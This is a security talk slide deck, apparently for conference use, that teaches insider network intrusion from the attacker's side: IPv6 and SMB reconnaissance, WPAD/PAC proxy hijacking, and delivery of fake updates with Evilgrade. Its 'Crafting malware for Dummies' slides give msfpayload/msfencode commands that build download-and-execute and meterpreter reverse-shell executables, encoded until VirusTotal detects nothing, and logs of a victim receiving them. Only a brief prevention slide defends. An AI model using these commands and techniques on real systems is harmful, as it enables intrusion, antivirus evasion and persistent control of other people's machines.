

# Insider Threats: How to become one...

Adam Richards

CISSP, CEH, A.D.D

# Outline:

Statistics

Recon? Why bother

Traditional attacks updated

Passive attacks

- Your browser hates you
- Scare the hell out of you (thanks to the fine engineers at Microsoft):
- Your Active Directory/DHCP/DNS server can and will sell you out
- Security “updates” are not always best practice for security
- Crafting malware for Dummies

Owning the same networks for the unemployed

Prevention

# Statistics

- One in five workers (21%) let family and friends use company laptops and PCs to access the Internet.
- More than half (51%) connect their own devices or gadgets to their work PC.
- A quarter of these do so every day.
- Around 60% admit to storing personal content on their work PC.
- One in ten confessed to downloading content at work they shouldn't.
- Two thirds (62%) admitted they have a very limited knowledge of IT Security.
- More than half (51%) had no idea how to update the anti-virus protection on their company PC.
- Five percent say they have accessed areas of their IT system they shouldn't have.

Based on a survey from **McAfee**™, they have identified four types of employees who put their workplace at risk:

- **The Security Softie** – This group comprises the vast majority of employees. They have a very limited knowledge of security and put their business at risk through using their work computer at home or letting family members surf the Internet on their work PC.
- **The Gadget Geek** – Those that come to work armed with a variety of devices/gadgets, all of which get plugged into their PC.
- **The Squatter** – Those who use the company IT resources in ways they shouldn't (i.e. by storing content or playing games).
- **The Saboteur** – A very small minority of employees. This group will maliciously hack into areas of the IT system to which they shouldn't have access or infect the network purposely from within.

*Source: [http://www.schneier.com/blog/archives/2005/12/insider\\_threat.html](http://www.schneier.com/blog/archives/2005/12/insider_threat.html)*

# Recon? Why bother.

- I already have access to your network.

# Recon? Why bother.

- I already have access to your network.
- I'm not going after specific targets. Just as many hosts as possible.

# Traditional attacks updated

Standard process usually involves.

# Traditional attacks updated

- Find targets

# Traditional attacks updated

- Find targets
- Exploit targets

# Traditional attacks updated

- Find targets
- Exploit targets
- ?
- Profit!!!

# Traditional attacks updated

IPv6

# Traditional attacks updated

IPv6

- Many networking appliances have it on by default.

# Traditional attacks updated

## IPv6

- Many networking appliances have it on by default.
- Many firewalls and IDS won't look at IPv6.

# Traditional attacks updated

## IPv6

- Many networking appliances have it on by default.
- Many firewalls and IDS won't look at IPv6.
- Many admins pay no attention to IPv6 traffic, or know how to.

# Traditional attacks updated

## IPv6

- Many networking appliances have it on by default.
- Many firewalls and IDS won't look at IPv6.
- Many admins pay no attention to IPv6 traffic, or know how to.

*Check out HD Moore's Paper on IPv6: <http://milworm.com/papers/233>*

# Traditional attacks updated

Nmap - [nmap.org](http://nmap.org) by fyodor

# Traditional attacks updated

Nmap - [nmap.org](http://nmap.org) by fyodor

- Only supports full connect scan (-sT) or version scanning (-sV). Both **SLOW** on large subnets

# Traditional attacks updated

Nmap - [nmap.org](http://nmap.org) by fyodor

- Only supports full connect scan (-sT) or version scanning (-sV). Both **SLOW** on large subnets
- No support for operating system fingerprinting (-O)

# Traditional attacks updated

THC-IPv6 Attack Toolkit <http://freeworld.thc.org/thc-ipv6/>

# Traditional attacks updated

THC-IPv6 Attack Toolkit <http://freeworld.thc.org/thc-ipv6/>

- Alive6 quickly scans the network for IPv6 hosts.

# Traditional attacks updated

THC-IPv6 Attack Toolkit <http://freeworld.thc.org/thc-ipv6/>

- Alive6 quickly scans the network for IPv6 hosts.
- With a little scripting we can use the results with Nmap.

# Traditional attacks updated

Locating IPv6 hosts.

# Traditional attacks updated

Locating IPv6 hosts.

```
./alive6 etho | grep Alive | cut -f2 -d" "| awk '{print $1"%etho"}' > targets
```

# Traditional attacks updated

Locating IPv6 hosts.

```
./alive6 etho | grep Alive | cut -f2 -d" "| awk '{print $1"%etho"}' > targets
```

```
fe80:0000:0000:0000:020c:29ff:fe1a:e1c6%etho
```

```
fe80:0000:0000:0000:020f:1fff:fe20:11d3%etho
```

```
fe80:0000:0000:0000:0200:74ff:feae:3dc5%etho
```

# Traditional attacks updated

Scanning IPv6 hosts with Nmap

# Traditional attacks updated

Scanning IPv6 hosts with Nmap

- Connect Scan: `nmap -6 -sT -iL targets`

# Traditional attacks updated

Scanning IPv6 hosts with Nmap

- Connect Scan: `nmap -6 -sT -iL targets`
- Version Scan: `nmap -6 -sV -iL targets`

# Traditional attacks updated

Scanning IPv6 hosts with Nmap

- **Connect Scan: nmap -6 -sT -iL targets**

*Starting Nmap 4.76 ( <http://nmap.org> ) at 2009-02-04 22:21 CST*

*Interesting ports on fe80::20f:1fff:fe20:11d3:*

*Not shown: 999 closed ports*

*PORT STATE SERVICE*

*22/tcp open ssh*

*Interesting ports on fe80::20c:29ff:fe1a:e1c6:*

*Not shown: 999 closed ports*

*PORT STATE SERVICE*

*22/tcp open ssh*

*All 1000 scanned ports on fe80::200:74ff:feae:3dc5 are closed*

*Nmap done: 5 IP addresses (3 hosts up) scanned in 12.89 seconds*

# Traditional attacks updated

Scanning IPv6 hosts with Nmap

- **Version Scan: nmap -6 -sV -iL targets**

*Starting Nmap 4.76 ( <http://nmap.org> ) at 2009-02-04 22:24 CST*

*Interesting ports on fe80::20f:1fff:fe20:11d3:*

*Not shown: 999 closed ports*

*PORT STATE SERVICE VERSION*

*22/tcp open ssh OpenSSH 4.6p1 Debian 5ubuntu0.5 (protocol 2.0)*

*Service Info: OS: Linux*

*Interesting ports on fe80::20c:29ff:fe1a:e1c6:*

*Not shown: 999 closed ports*

*PORT STATE SERVICE VERSION*

*22/tcp open ssh OpenSSH 4.5p1 (FreeBSD 20061110; protocol 2.0)*

*Service Info: OS: FreeBSD*

*All 1000 scanned ports on fe80::200:74ff:feae:3dc5 are closed*

*Nmap done: 5 IP addresses (3 hosts up) scanned in 12.97 seconds*

# Traditional attacks updated

Other ways to find open hosts.

# Traditional attacks updated

## Nessus

- Traditional Network-based vulnerabilities
- Great for finding open file shares
- Hooks support working with other tools such as nmap and hydra

# Traditional attacks updated

The `nessuscmd` was introduced in version 3.2.0 and allows you to scan directly from the command line.

- Easy to find open SMB shares using plugin ID 10396
- Many sensitive documents can be found on these shares, especially on printers.

# Traditional attacks updated

```
./nessuscmd -U -O -p139,445 -V -i 10396 172.16.1.0/24 OR IPV6 address
```

-U - Disable Safe Mode

-O - OS fingerprint

-p139,445 - Scans TCP ports 139 and 445

-V - Display all plugin output

-i - Plugin ID

# Traditional attacks updated

+ Results found on 172.16.1.9 :

- Host information :

[i] Plugin ID 11936

| Remote operating system : Microsoft Windows Server 2003 Service

| Pack 2

| Confidence Level : 99

| Method : MSRPC

|

|

|

| The remote host is running Microsoft Windows Server 2003 Service

| Pack 2

- Port netbios-ssn (139/tcp) is open

- Port microsoft-ds (445/tcp) is open

# Traditional attacks updated

nbtscan – Polls netbios information.

# Traditional attacks updated

```
nbtscan -v 172.16.1.9
```

Doing NBT name scan for addresses from 172.16.1.9

NetBIOS Name Table for Host 172.16.1.9:

Name	Service	Type
POSTMAN	<00>	UNIQUE
Unknown	<00>	GROUP
Unknown	<1c>	GROUP
POSTMAN	<20>	UNIQUE
Unknown	<1b>	UNIQUE
Unknown	<1e>	GROUP
Unknown	<1d>	UNIQUE
__MSBROWSE_	<01>	GROUP

Adapter address: 00:30:48:2b:d1:7a

# Traditional attacks updated

Use Metasploit in conjunction with any of these tools to hack into the hosts.

# Traditional attacks updated

Issues with these traditional attacks.

- Noisy
- Large logging footprint
- IDS's will bust me before I can even exploit a host
- These are all active attacks.

# Passive attacks

## Advantages

- Very little “noise”
- All prep work can be done away from the office
- Plausible deniability (defense attorneys love it)

# Passive attacks

Process:

- Setup
- Wait
- Profit

# Passive attacks

We need to force hosts to connect to us. How? *Use the force.*


- ARP cache poisoning? **VERY** noisy.
- DNS poisoning? *Not as noisy but care must be taken to ensure plausible deniability.*
- LDAP packet injection? *Creative, small footprint, we may use this.*
- Security updates hijacking? *Now we're talking.*

# Passive attacks

Forcing hosts to connect to you.

# Your browser hates you.

Look familiar?

**Connection Settings** 

Configure Proxies to Access the Internet


No proxy

Auto-detect proxy settings for this network

Manual proxy configuration:

HTTP Proxy:  Port:

Use this proxy server for all protocols

**Local Area Network (LAN) Settings** 

Automatic configuration

Automatic configuration may override manual settings. To ensure the use of manual settings, disable automatic configuration.

Automatically detect settings

Use automatic configuration script

Address:

Proxy server

# Your browser hates you.

Web Proxy Autodiscovery Protocol (WPAD)

- Can be set by administrators.

The WPAD standard defines two alternative methods the system administrator can use to publish the location of the proxy configuration file.

- Using the Dynamic Host Configuration Protocol (DHCP)
- Domain Name System (DNS)
- And a little known third option, but we will get to that later.

Uses a proxy auto-config (PAC) file to configure browser proxy.

Any network aware application will use the proxy settings.

# Your browser hates you.

The proxy auto-config (PAC) file

- Written in Javascript.
- Uses 'mime' encoding.
- Supports 'if' statements for targeted control.

# Your browser hates you.

Example:

```
function FindProxyForURL(url, host)
{
  if (isInNet(myIpAddress(), "192.168.1.0", "255.255.255.0"))
    return "PROXY 192.168.1.24:3128";
  else
    return "DIRECT";
}
```

# Your browser hates you.

Supported Functions:

- **Host name-based conditions:**

*The hostname-based functions let you use the host name or IP address to determine which proxy, if any, to use.*

- o dnsDomains()
- o isInNet()
- o isPlainhostname()
- o isResolvable()
- o localhostOrDomains()

- **Related utility functions:**

- o dnsDomainLevels()
- o dnsResolve()
- o myIpAddress()

# Your browser hates you.

Supported Functions cont:

- **URL/host name-based condition:**

- o shExpMatch()

- **Time-based conditions:**

- o dateRange()

- o timeRange()

- o weekdayRange()

# Your browser hates you.

Supported methods:

- **DIRECT** Fetch the object directly from the content HTTP server denoted by its URL
- **PROXY name:port** Fetch the object via the proxy HTTP server at the given location (name and port)
- **SOCKS name:port** Fetch the object via the SOCKS server at the given location (name and port)

# Your Active Directory/DHCP/DNS server can and will sell you out

Did I mention the proxy does not have to be on the local network?

Also, you can create your own DHCP server to serve out the proxy settings. However, log review will find the traffic.

Will override Active Directory settings, even if the "on change" option is set.

Stays resident in the registry until a new wpad entry is located or the auto-discover option is turned off.

# Passive attacks

So now what?

Well lets look at the little known WPAD discovery method to see if we can be a little quieter.

Any guess what it is?

# Scare the hell out of you (thanks to the fine engineers at Microsoft)

After searching DHCP and DNS for a wpad entry, the browser will issue a WINS broadcast.

Anyone can setup WINS (Windows Internet Name Service).

Since it overrides Active Directory, I can force all hosts on the network with the auto-discover option set (default for most browsers).

If I control the network flow, I can sniff all traffic (even ssl with a MiTM ssl hack).

Using Metaspolit's browser\_autopwn module, I could create a site designed only to try every browser exploit on you until I infect your machine with my malware. But those IDS logs will most likely log that.

So lets work on maintaining access to the host without all the logs.

# Security “updates” are not always best practice for security.

How many installed applications now come with an auto-update feature?

- Java plugin
- Winzip
- Winamp
- OpenOffices
- iTunes
- LinkedIn Toolbar
- Notepad ++

*To name a few.*

How many of us click install update? *We're all security conscience correct?*

Since I am now in control of your network flow, how hard would it be for me to exploit this “feature”?

# Security “updates” are not always best practice for security.

Introducing Evilgrade from Infobyte Security Research. [www.infobyte.com.ar](http://www.infobyte.com.ar)

- ISR-evilgrade: is a modular framework that allow us to take advantage of poor upgrade implementations by injecting fake updates.
- It works with modules, each module implements the structure needed to emulate a false update of specific applications/systems.
- Evilgrade needs the manipulation of the victim dns traffic (not a problem now that I have control over network flow).
- Current modules:
  - sunjava winzip winscp speedbit linkedin winamp openoffice itunes osx notepadplus dap

# Security “updates” are not always best practice for security.

- When the application requests an update, we inject our own executable.
- Application executes the code.
- Host is now owned by me.

# Security “updates” are not always best practice for security.

But I need some executable to inject right?

- Where do I get one from? I’m not a code monkey.
- Can I buy one? *Sure if desperate.*
- Can I make one? *Yes, if you have a couple minutes to spare.*

# Crafting malware for Dummies

Let's code our own.

But, I prefer coding in "interpreted" languages, not compiled.

No longer a problem thanks once again to the fine folks at Metasploit.

# Crafting malware for Dummies

msfpayload – generates payloads.

msfencode – command line payload encoder.

- wants machine language code as input (RAW output from msfpayload)

Pipe the output of msfpayload to msfencode and start creating executables.

# Crafting malware for Dummies

For the lazy:

- Altering the signature of an existing exe to avoid AV products.
  - `./msfpayload windows/download_exec URL=http://your_warez_site.com/downloads/pwn.exe R | ./msfencode -b '\x12\xd9\xf7\x7c\xa5\xa' -a x86 -t c`
  - the 'R' creates the raw output (machine code) for msfencode to use.
  - -b avoids altering the listed characters.
  - -t The format to display the encoded buffer with.

# Crafting malware for Dummies

For the lazy:

- But we don't want to have to recompile the c code generated.
  - `./msfpayload windows/download_exec  
URL=http://your_warez_site.com/downloads/pwn.exe R | ./msfencode -b  
'\x12\xd9\xf7\x7c\xa5\xa' -a x86 -t exe -o ~/pwn-ng.exe`
- Submitted to virus total.
  - 14 out of 36 AV products detected it.
  - We can do better than that.
  - Let's try to 'double encode' it.

# Crafting malware for Dummies

For the lazy:

- Double encoding.
  - `./msfpayload windows/download_exec  
URL=http://your_warez_site.com/downloads/pwn.exe R | ./msfencode -b  
'\x12\xd9\xf7\x7c\xa5\xa' -a x86 -t raw | ./msfencode -t exe -o  
~/double_pwn-ng.exe`
  - Submitted to virus total.
    - Zero out of 36 AV products detected it...
    - However, sometimes double encoding breaks the app. Why? I don't know, remember I enjoy breaking things, I didn't say anything about fixing them.

# Crafting malware for Dummies

Let's get creative and create our own.

Choose any of the payloads supported in Metasploit.

I'm going to use the windows bindshell payload.

- `./msfpayload windows/meterpreter/reverse_tcp  
LHOST=192.168.1.240 LPORT=5555 X > evil_rv.exe`

This will create a meterpreter reverse tcp session back to me when executed.

What does Virus Total think of this?



VirusTotal is a [service that analyzes suspicious files](#) and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware detected by antivirus engines. [More information...](#)

[Analysis](#)

[Hash Search](#)

[Statistics](#)

[Email/Uploader](#)

[About VT](#)

## Upload a file

Service load  ?

/Applications/framework-3.1/evil\_rv.exe

Browse...

## Options

Send it over SSL ?

Send File

# Crafting malware for Dummies

File evil\_rv.exe received on 10.10.10.10 10:10:10 (CCTV)

Current status: **finished**

Result: **7/36 (19.44%)**

Ikarus	-	-	-
K7AntiVirus	-	-	-
Kaspersky	-	-	-
McAfee	-	-	-
Microsoft	-	-	-
NOD32	-	-	-
Norman	-	-	-
Panda	-	-	Suspicious file
PCTools	-	-	-
Prevx1	-	-	-
Rising	-	-	-
SecureWeb-Gateway	-	-	Trojan.Crypt.XPACK.Gen
Sophos	-	-	-
Sunbelt	-	-	-
Symantec	-	-	-

# Crafting malware for Dummies

7 out of 36 AV products thought this file was malicious.

Good evasion by most standards. But not mine.

Since we didn't encode it with msfencode, let's give it a shot.

```
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.240  
LPORT=5555 R | ./msfencode -b " " -t exe -o metrev_enc.exe
```

So now what does Virus Total say?

# Crafting malware for Dummies



Virustotal is a [service that analyzes suspicious files](#) and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware detected by antivirus engines. [More information...](#)

File metrev\_enc.exe received on 05.12.2009 23:46:17 (GMT)

Current status: **finished**

Result: **0/37 (0%)**

# Crafting malware for Dummies

To Recap:

- I now control a good bit of the network traffic.
- I have created my own malware.
- How do we inject it? We didn't go over that.

# Security “updates” are not always best practice for security

Using Evilgrade:

```
evilgrade>help
```

Type 'help command' for more detailed help on a command.

Commands:

configure - Configure <module-name> - no help available

exit - exits the program

help - prints this screen, or help on 'command'

reload - Reload to update all the modules - no help available

restart - Restart webserver - no help available

set - Configure variables - no help available

show - Display information of <object>.

start - Start webserver - no help available

status - Get webserver status - no help available

stop - Stop webserver - no help available

version - Display framework version. - no help available

# Security “updates” are not always best practice for security

```
evilgrade>show modules
```

```
List of modules: =====
```

```
sunjava
```

```
winzip
```

```
winscp
```

```
Speedbit
```

```
linkedin
```

```
winamp
```

```
openoffice
```

```
itunes
```

```
osx
```

```
notepadplus
```

```
dap
```

# Security “updates” are not always best practice for security

```
evilgrade>conf sunjava
```

```
evilgrade(sunjava)>
```

```
evilgrade(sunjava)>show options
```

```
Display options: =====
```

```
Name = Sun Microsystems
```

```
Java Version = 1.0
```

```
Author = ["Francisco Amato <famato+[AT]+infobyte.com.ar>"]
```

```
Description = ""
```

```
VirtualHost = "java.sun.com"
```

# Security “updates” are not always best practice for security

```
evilgrade>start
```

```
evilgrade> [01/7/2009:4:53:45] - [WEBSERVER] - Webserver ready.  
Waiting for connections ... ##### Waiting for victims
```

```
evilgrade> [01/7/2009:4:58:25] - [WEBSERVER] - [modules::sunjava] -  
[192.168.1.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
```

```
evilgrade> [01/7/2009:4:58:26] - [WEBSERVER] - [modules::sunjava] -  
[192.168.1.10] - Request: "^/java_update.xml\\$"
```

```
evilgrade> [01/7/2009:4:58:39] - [WEBSERVER] - [modules::sunjava] -  
[192.168.1.10] - Request: ".exe"
```

```
evilgrade> [01/7/2009:4:58:40] - [WEBSERVER] - [modules::sunjava] -  
[192.168.1.10] - Agent sent: "./agent/metrev_enc.exe"
```

# Security “updates” are not always best practice for security

```
evilgrade>show status
```

```
Webserver (pid 4134) already running
```

```
Users status: ===== .
```

```
-----  
| Client          | Module          | Status          |  
| 192.168.233.10 | modules::sunjava | send            |
```

```
-----  
|                | Md5,            | Cmd,File        |  
| d9a28baa883ecf51e41fc626e1d4eed5, |, ". /agent/reverseshell.exe" |
```

```
-----+-----+-----+-----
```

# Security “updates” are not always best practice for security

You should get a prompt that says Sun Java needs to restart.

**Click OK, I now have a “system” level session to that host.**

# Crafting malware for Dummies

What else could we do?

How about creating malicious Word Documents and inserting it into the weekly budget review, meeting notes, or any other document you would normally email.

Would have to code it in VB script.

I don't know VB script that well.

Metaspolits tools again can create VB scripts to use in Office Documents.

# Owning the same networks for the unemployed

Let's say I am not an employee.

I still want access.

Let's look a little deeper into the Web Proxy Autodiscovery Protocol (WPAD) standard.

# Owning the same networks for the unemployed

Web Proxy Autodiscovery Protocol (WPAD).

1<sup>st</sup> it checks DHCP for a wpad entry.

2<sup>nd</sup> it checks DNS.

3<sup>rd</sup> it does a WINS broadcast (windows 2000 and 2003 server editions are the only known OS that this is affected by)

However, the DNS requests are quite interesting.

# Owning the same networks for the unemployed

Web Proxy Autodiscovery Protocol (WPAD).

DNS order of lookup.

If the network is 'yourcompany.co.uk' and the the file  
`http://wpad.yourcompany.co.uk/wpad.dat` isn't served....

The browsers will go on to request `http://wpad.co.uk/wpad.dat`

Not the same domain is it?

Could I register some domains in your suffix and setup a 'wpad' sub-domain?

Then I just wait. Someone will connect to me then I am in your network.

It's just regular http traffic. IDS's and Firewalls are rendered useless.

# Owning the same networks for the unemployed

More fun with WPAD.

Create a wpad.dat file that changes your host file in windows.

Sit at hotspots, coffee shops, or drive around the neighborhood, and route traffic to my proxy, change the host file.

Host would be routing traffic to me for a long time, probably never notice the entry.

# Owning the same networks for the unemployed

More fun with WPAD.

Remember the supported functions of the PAC (Proxy auto-config) standard?

Set your host to only connect to me during business hours.

During certain times of the day, week, or certain days.

Only when you are connected to your company domain.

# Prevention

Set option 252 in your DHCP server to your own wpad server.

Create a wpad.yourdomain entry in DNS. Do this for ALL domains and sub-domains you have.

Remember, once wpad is configured on the hosts, it's stays resident until it is manually removed or another one is issued.

Use a startup script on your network to disable the browser checkbox for proxy lookups.

# Addition information.

## *WPAD*

[http://en.wikipedia.org/wiki/Web\\_Proxy\\_Autodiscovery\\_Protocol](http://en.wikipedia.org/wiki/Web_Proxy_Autodiscovery_Protocol)

<http://technet.microsoft.com/en-us/library/cc713344.aspx>

<http://support.microsoft.com/kb/934864>

## *PAC*

[http://en.wikipedia.org/wiki/Proxy\\_auto-config](http://en.wikipedia.org/wiki/Proxy_auto-config)

<http://nscsysop.hypermart.net/proxypac.html>

[http://www.freeproxy.ru/en/free\\_proxy/faq/what\\_is\\_pac.htm](http://www.freeproxy.ru/en/free_proxy/faq/what_is_pac.htm)